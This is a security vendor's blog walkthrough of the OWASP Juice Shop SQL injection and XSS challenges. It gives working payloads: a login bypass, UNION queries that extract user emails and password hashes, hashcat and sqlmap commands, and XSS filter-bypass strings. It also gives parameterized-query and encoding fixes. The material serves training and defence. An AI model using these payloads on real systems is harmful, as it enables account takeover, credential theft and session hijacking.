Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
Application Security

Juice Shop SQL Injection & XSS: Complete Exploit Guide (2026)

Step-by-step Juice Shop SQL injection and XSS challenge solutions: login bypass, UNION-based SQLi, reflected XSS, stored XSS, DOM-XSS — with payloads and how each vulnerability works.

Offensive360 Security Research Team — min read
juice shop sql injection owasp juice shop xss juice shop challenges owasp juice shop juice shop walkthrough sql injection owasp xss owasp juice shop juice shop login bypass juice shop sqli juice shop stored xss juice shop dom xss web application security OWASP Top 10 injection cross-site scripting

OWASP Juice Shop contains multiple SQL injection and XSS challenges at different difficulty levels — from the classic login bypass that takes 30 seconds to the DOM-based XSS that requires reading Angular source. This guide covers every injection and cross-site scripting challenge in Juice Shop with exact payloads, step-by-step instructions, and explanations of why each vulnerability exists and what it maps to in production code.

Prerequisites: Juice Shop running locally at http://localhost:3000/. If not yet set up:

docker run --rm -p 3000:3000 bkimminich/juice-shop

Open your browser’s DevTools (F12) and the Network tab before starting — you’ll need it for most challenges.


Part 1: SQL Injection Challenges

Challenge: Login Admin (⭐⭐) — SQL Injection Login Bypass

Goal: Log in as the admin user without knowing the password.

The vulnerability: Juice Shop’s login form is vulnerable to classic SQL injection. The backend query is constructed by concatenating the email input directly into a SQL string without parameterization.

The vulnerable query (conceptually):

SELECT * FROM Users WHERE email = '[USER_INPUT]' AND password = '[HASHED_INPUT]'

Payload:

Navigate to http://localhost:3000/#/login. In the Email field, enter:

' OR TRUE--

In the Password field, enter anything (e.g., x). Click Log in.

Why it works: The single quote terminates the email string. OR TRUE makes the WHERE clause always evaluate to true. -- comments out the rest of the SQL query, including the password check. The resulting query becomes:

SELECT * FROM Users WHERE email = '' OR TRUE--' AND password = '...'

This returns the first user in the database — which happens to be the admin account. You’re now logged in as admin.

Alternative payloads that also work:

' OR '1'='1
' OR 1=1--
admin@juice-sh.op'--

The admin@juice-sh.op'-- payload is more targeted: it sets the email to the admin’s known address and comments out the password check entirely.

What this maps to in production: Any application that builds SQL queries by concatenating user input is vulnerable to this attack. This pattern is found in legacy PHP applications using mysqli_query() with string concatenation, early ASP.NET applications using SqlCommand without parameters, and Node.js applications using template literals with mysql or pg queries.

The fix:

// VULNERABLE (Juice Shop's actual pattern, simplified):
const user = await Users.findOne({
  where: sequelize.literal(`email = '${email}' AND password = '${password}'`)
});

// SECURE — parameterized query:
const user = await Users.findOne({
  where: { email: email, password: hashedPassword }
  // Sequelize builds a parameterized query automatically
});

Challenge: Login Bender / Login Jim (⭐⭐⭐) — SQL Injection User Login

Goal: Log in as Bender (bender@juice-sh.op) or Jim (jim@juice-sh.op) without knowing their passwords.

Payload:

Email field:

bender@juice-sh.op'--

Password: anything.

The '-- pattern terminates the email string literal and comments out the password check. This works for any known email address in the Juice Shop database.

Finding email addresses: Before this challenge, you can discover user email addresses by exploiting the administration panel (accessible after the admin login challenge) or by exploiting the user listing API at /api/Users/. The registered email addresses are visible at http://localhost:3000/api/Users/ when logged in as admin.


Goal: Order the Christmas special offer product that was removed from the main product listing.

The vulnerability: Juice Shop’s product search endpoint passes user input into a SQL query. Products that have been “deleted” (marked with a deletedAt timestamp) are excluded from normal queries — but SQL injection can retrieve them anyway.

The vulnerable URL: http://localhost:3000/rest/products/search?q=YOUR_INPUT

Payload:

Navigate to the search bar and search for:

'))--

Or access the API directly:

http://localhost:3000/rest/products/search?q='))--

Why it works: The backend query is (conceptually):

SELECT * FROM Products WHERE (name LIKE '%[INPUT]%' OR description LIKE '%[INPUT]%')
  AND deletedAt IS NULL

The payload '))-- closes the LIKE pattern and the opening parenthesis, then comments out the AND deletedAt IS NULL clause. The resulting query retrieves ALL products including deleted ones.

The Christmas Special (product ID 10, Christmas Super-Surprise-Box (2014 Edition)) appears in the results. Add it to your basket and complete the order to solve the challenge.

Enumeration approach using UNION:

To understand the query structure, you can use UNION-based SQL injection:

http://localhost:3000/rest/products/search?q='))UNION SELECT '1','2','3','4','5','6','7','8','9' FROM sqlite_master--

This UNION query reveals the number of columns in the Products table (9 columns) and the database type (SQLite, based on sqlite_master).

Extract SQLite schema:

http://localhost:3000/rest/products/search?q='))UNION SELECT sql,'2','3','4','5','6','7','8','9' FROM sqlite_master--

This returns the CREATE TABLE statements for all tables — revealing the database schema.


Challenge: User Credentials (⭐⭐⭐⭐⭐) — Data Exfiltration via UNION SQLi

Goal: Retrieve a list of all user credentials (emails and password hashes) from the database.

Approach:

Using the search endpoint’s SQL injection:

Step 1: Determine the Users table structure (from the SQLite schema retrieved above):

CREATE TABLE Users (id INTEGER PRIMARY KEY AUTOINCREMENT, username VARCHAR(255), email VARCHAR(255), password VARCHAR(255), ...)

Step 2: Exfiltrate user data via UNION injection:

http://localhost:3000/rest/products/search?q='))UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--

The response JSON includes product results with the id, name, and description fields replaced by user IDs, emails, and hashed passwords.

What the hashes look like: Juice Shop stores passwords as MD5 hashes (visible in the database). MD5-hashed passwords can be cracked with rainbow tables or hashcat:

# Crack MD5 hashes from Juice Shop
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

The admin password (admin123) is a known weak password that cracks instantly.

What this maps to in production: UNION-based SQL injection to exfiltrate user credentials is the technique used in the majority of large-scale data breaches involving SQL injection. Any injectable search endpoint that returns results to the user can be exploited with UNION-based injection to retrieve data from any table in the database.


Part 2: Cross-Site Scripting (XSS) Challenges

Challenge: DOM XSS (⭐) — DOM-Based Cross-Site Scripting

Goal: Perform a DOM-based XSS attack with <iframe src="javascript:alert('xss')">.

The vulnerability: Juice Shop’s search functionality reflects search terms directly into the DOM using Angular’s property binding. When an <iframe> tag with a JavaScript URL is injected, it executes in the user’s browser.

Steps:

  1. Navigate to http://localhost:3000/
  2. In the search bar, enter:
<iframe src="javascript:alert('xss')">
  1. Press Enter

An alert dialog appears with “xss” — the XSS challenge is solved.

Why this is DOM-based XSS: The server never receives the payload in a form that triggers execution. The Angular application reads the search parameter from the URL and writes it to the DOM using client-side JavaScript. The vulnerability is in the client-side rendering code, not the server response.

This is distinct from reflected XSS (where the server reflects the payload in its HTML response) and stored XSS (where the payload is persisted in the database).

What to look for in Angular apps: DOM-based XSS in Angular can occur through:

  • Direct innerHTML binding: [innerHTML]="userContent" without DomSanitizer
  • Dynamic template compilation
  • document.write() or element.innerHTML = in custom JavaScript
  • URL fragment parsing that writes to the DOM

Challenge: Reflected XSS (⭐⭐) — Reflected Cross-Site Scripting

Goal: Perform a reflected XSS attack using a URL that executes JavaScript when visited.

The vulnerability: Juice Shop’s order tracking page reflects the order ID from the URL directly into the page’s HTML without encoding.

Steps:

  1. Navigate to http://localhost:3000/#/track-result with an order ID parameter
  2. Access this URL:
http://localhost:3000/#/track-result?id=<iframe src="javascript:alert('xss')">

Alternatively, find the order tracking form and submit a malicious order ID:

  • Go to the order history page after placing any order
  • In the tracking form, enter: <iframe src="javascript:alert('xss')">

How it differs from DOM XSS: In reflected XSS, the payload is included in the HTTP request (the URL query parameter) and reflected back in the server’s HTTP response. The server includes the unencoded payload in the returned HTML, which the browser then executes. In Juice Shop’s reflected XSS challenge, the tracking endpoint reflects the tracking ID into the rendered HTML without sanitization.

Real-world impact: Reflected XSS is often delivered via phishing links. The attacker crafts a URL containing the XSS payload and tricks a victim into clicking it. The victim’s browser executes the payload in the context of the trusted application — potentially stealing session cookies, capturing keystrokes, or performing actions as the victim.


Challenge: Stored XSS (⭐⭐⭐) — Persistent Cross-Site Scripting via Product Reviews

Goal: Perform a stored XSS attack that executes when another user views the page where the payload is stored.

The vulnerability: Juice Shop’s product review system stores user reviews in the database without proper sanitization. When any user views a product’s reviews, the stored payload executes.

Steps:

  1. Log in to Juice Shop (use the admin login bypass from earlier if needed)
  2. Navigate to any product (e.g., Apple Juice at http://localhost:3000/#/juice)
  3. Scroll down to the “Customer Reviews” section
  4. Click the star rating to open the review form
  5. In the review text area, enter:
<<script>Foo</script>iframe src="javascript:alert(`xss`)">

Or use this alternative payload if the basic <script> tag is filtered:

<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="javascript:alert(`xss`)">
  1. Submit the review

Verification: Navigate to the product page in a different browser or as a different user. The XSS payload executes when the page loads and renders the stored review.

Why the double-bracket payload: Juice Shop’s review system applies some basic sanitization that strips <script> tags but not <iframe> tags with JavaScript URLs. The <<script>Foo</script> opening is a bypass technique: some sanitizers process <script> tags and remove them, inadvertently creating < + iframe... which forms a valid <iframe> tag after the script is stripped.

What this maps to in production: Stored XSS is the highest-impact XSS variant because the payload executes for every user who visits the affected page — potentially thousands of users from a single injection. Common real-world stored XSS targets include:

  • Comment and review systems
  • Support ticket systems (stored XSS visible to support staff)
  • CRM note fields
  • Any field that is displayed to other users

Challenge: API-Only XSS (⭐⭐⭐) — XSS via REST API

Goal: Perform a stored XSS attack using the REST API directly, bypassing any frontend validation.

The vulnerability: Juice Shop’s frontend applies some input length limits and basic sanitization via HTML form constraints. These can be bypassed by sending API requests directly, bypassing the browser form entirely.

Steps:

  1. Log in as any user
  2. Open the browser Network tab
  3. Navigate to http://localhost:3000/#/profile and inspect how the profile update works
  4. Find the API endpoint (typically PUT /rest/user/whoami or PUT /api/Users/{id})
  5. Use curl or the browser’s Network tab to send a direct API request with an XSS payload as the username:
# First, get your authentication token
# Log in via the browser and copy the Bearer token from the Authorization header

curl -X PUT 'http://localhost:3000/api/Users/1' \
  -H 'Authorization: Bearer YOUR_JWT_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"username": "<iframe src=javascript:alert(`xss`)>"}'
  1. Navigate to http://localhost:3000/#/administration as admin — the username containing the XSS payload renders in the admin user list and executes.

Key lesson: Frontend validation (HTML maxlength, pattern, and JavaScript sanitization) is never a security control — it can always be bypassed by sending API requests directly. Server-side validation and output encoding are the only reliable defenses.


Part 3: Chaining SQL Injection and XSS

Real-World Attack Chain

In a real web application, SQL injection and XSS often work together:

  1. SQLi to extract user email addresses → use those emails for targeted phishing
  2. SQLi to extract session tokens → bypass authentication entirely
  3. Stored XSS to steal session cookies → use document.cookie to exfiltrate session tokens
  4. XSS as persistence → stored XSS in admin-visible fields allows attackers to execute JavaScript as admin users

In Juice Shop, you can practice this chain:

  1. Use the search SQLi ('))--) to retrieve all user emails and password hashes from the database
  2. Crack the admin hash with hashcat
  3. Log in as admin
  4. Post a stored XSS payload in a product review
  5. Any user who views that product’s page has the XSS execute in their browser

Understanding Why These Vulnerabilities Exist in Production

SQL Injection Root Cause

Every SQL injection vulnerability in Juice Shop — and in production applications — has the same root cause: user input concatenated directly into a SQL query instead of passed as a parameterized value.

// VULNERABLE — string concatenation (Juice Shop's pattern)
const query = `SELECT * FROM Users WHERE email = '${email}'`;
db.query(query);

// SECURE — parameterized query
const query = 'SELECT * FROM Users WHERE email = ?';
db.query(query, [email]);

The fix is always the same: use parameterized queries or an ORM’s query builder. The ORM or database driver handles quoting and escaping in a way that SQL injection cannot break.

XSS Root Cause

Every XSS vulnerability in Juice Shop has the same root cause: user-controlled content rendered in an HTML context without encoding — either server-side (reflected/stored XSS) or client-side (DOM XSS).

// VULNERABLE — innerHTML with user content (DOM XSS)
document.getElementById('output').innerHTML = userInput;

// SECURE — textContent (text-only, no HTML parsing)
document.getElementById('output').textContent = userInput;

// SECURE — DOMPurify for cases where HTML is intentionally allowed
import DOMPurify from 'dompurify';
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);

Using DAST to Find These Vulnerabilities Automatically

The SQL injection in Juice Shop’s login form and the reflected XSS in the search bar are the minimum baseline a DAST scanner must detect to be considered production-ready. If your DAST tool misses the unobfuscated ' OR TRUE-- login bypass — the most classic SQL injection test case in existence — it is not ready for your production application.

Offensive360’s DAST scanner detects:

  • SQL injection in login forms, search endpoints, and REST APIs
  • Reflected, stored, and DOM-based XSS across all page contexts
  • UNION-based SQL injection with data extraction verification
  • Blind SQL injection (time-based and boolean-based)
  • Injection in HTTP headers (User-Agent, Referer, Cookie values)

Run Offensive360 DAST against your local Juice Shop instance to see how the scanner identifies and validates each vulnerability:


Frequently Asked Questions

What is the easiest SQL injection challenge in Juice Shop?

The Login Admin challenge (⭐⭐) is the easiest SQL injection challenge. Entering ' OR TRUE-- in the email field logs you in as admin without knowing the password. It’s the most direct demonstration of SQL injection available in Juice Shop.

Does Juice Shop have blind SQL injection?

Juice Shop’s SQL injection vulnerabilities are primarily error-based and UNION-based (the response directly reflects the injected data). Blind SQL injection — where no data is returned directly and you must infer results from response differences or timing — is not a core Juice Shop challenge, though time-based blind injection can be tested against the search endpoint with AND SLEEP(5)-- syntax (noting that SQLite uses randomblob(100000000) instead of SLEEP).

How do I find all XSS vulnerabilities in Juice Shop?

The scoreboard at http://localhost:3000/#/score-board filters by category. Select “XSS” to see all XSS-related challenges. Juice Shop has more than 10 XSS challenges covering DOM-based, reflected, stored, and mutation-based XSS across different application contexts.

Can I use SQLMap on Juice Shop?

Yes. SQLMap works well against Juice Shop’s injectable endpoints:

# Test the search endpoint with SQLMap
sqlmap -u "http://localhost:3000/rest/products/search?q=test" \
  --dbs --batch --level=3

# Test the login endpoint
sqlmap -u "http://localhost:3000/rest/user/login" \
  --data='{"email":"test@test.com","password":"test"}' \
  --dbms=sqlite --dbs --batch

SQLMap will automatically identify injectable parameters and extract database contents. Using SQLMap against Juice Shop is a good way to compare automated tool results against manual testing — SQLMap typically finds the SQLite database structure and user tables automatically.

What payload bypasses Juice Shop’s XSS filter?

Juice Shop applies different levels of sanitization on different inputs. For product reviews, the basic <script>alert(1)</script> payload is often filtered, but <iframe src="javascript:alert(1)"> is not. For more advanced bypass techniques, try:

<!-- Event handler-based payloads -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- JavaScript URL in anchor -->
<a href="javascript:alert(1)">click me</a>

<!-- Encoding bypass (URL encoding) -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Different Juice Shop input fields have different sanitization levels — part of the challenge design is figuring out which bypass technique works for each specific injection point.


Summary

OWASP Juice Shop’s SQL injection and XSS challenges cover the complete spectrum of these vulnerability classes:

ChallengeTypeDifficultyKey Technique
Login AdminSQLi — auth bypass⭐⭐' OR TRUE-- in email field
Login Bender/JimSQLi — targeted user⭐⭐⭐email'-- pattern
Christmas SpecialSQLi — deleted records⭐⭐⭐⭐'))-- comment bypass
User CredentialsSQLi — UNION exfiltration⭐⭐⭐⭐⭐UNION SELECT from Users table
DOM XSSXSS — client-side<iframe src="javascript:..."> in search
Reflected XSSXSS — server-reflected⭐⭐Payload in order tracking parameter
Stored XSSXSS — persistent⭐⭐⭐Payload in product review text
API-only XSSXSS — API bypass⭐⭐⭐Direct API request bypassing frontend

Each challenge maps directly to vulnerability patterns found in production web applications. Practicing them in Juice Shop builds the pattern recognition needed to identify the same vulnerability classes — in more complex, real-world code — during security assessments or code review.


For the full OWASP Juice Shop guide including Docker setup, challenge categories, and DAST benchmarking, see our complete Juice Shop guide. For IDOR and access control challenges, see our Juice Shop IDOR walkthrough.

Offensive360 Security Research Team

Application Security Research

Find vulnerabilities before attackers do

Run Offensive360 SAST and DAST against your applications and get a full vulnerability report in minutes.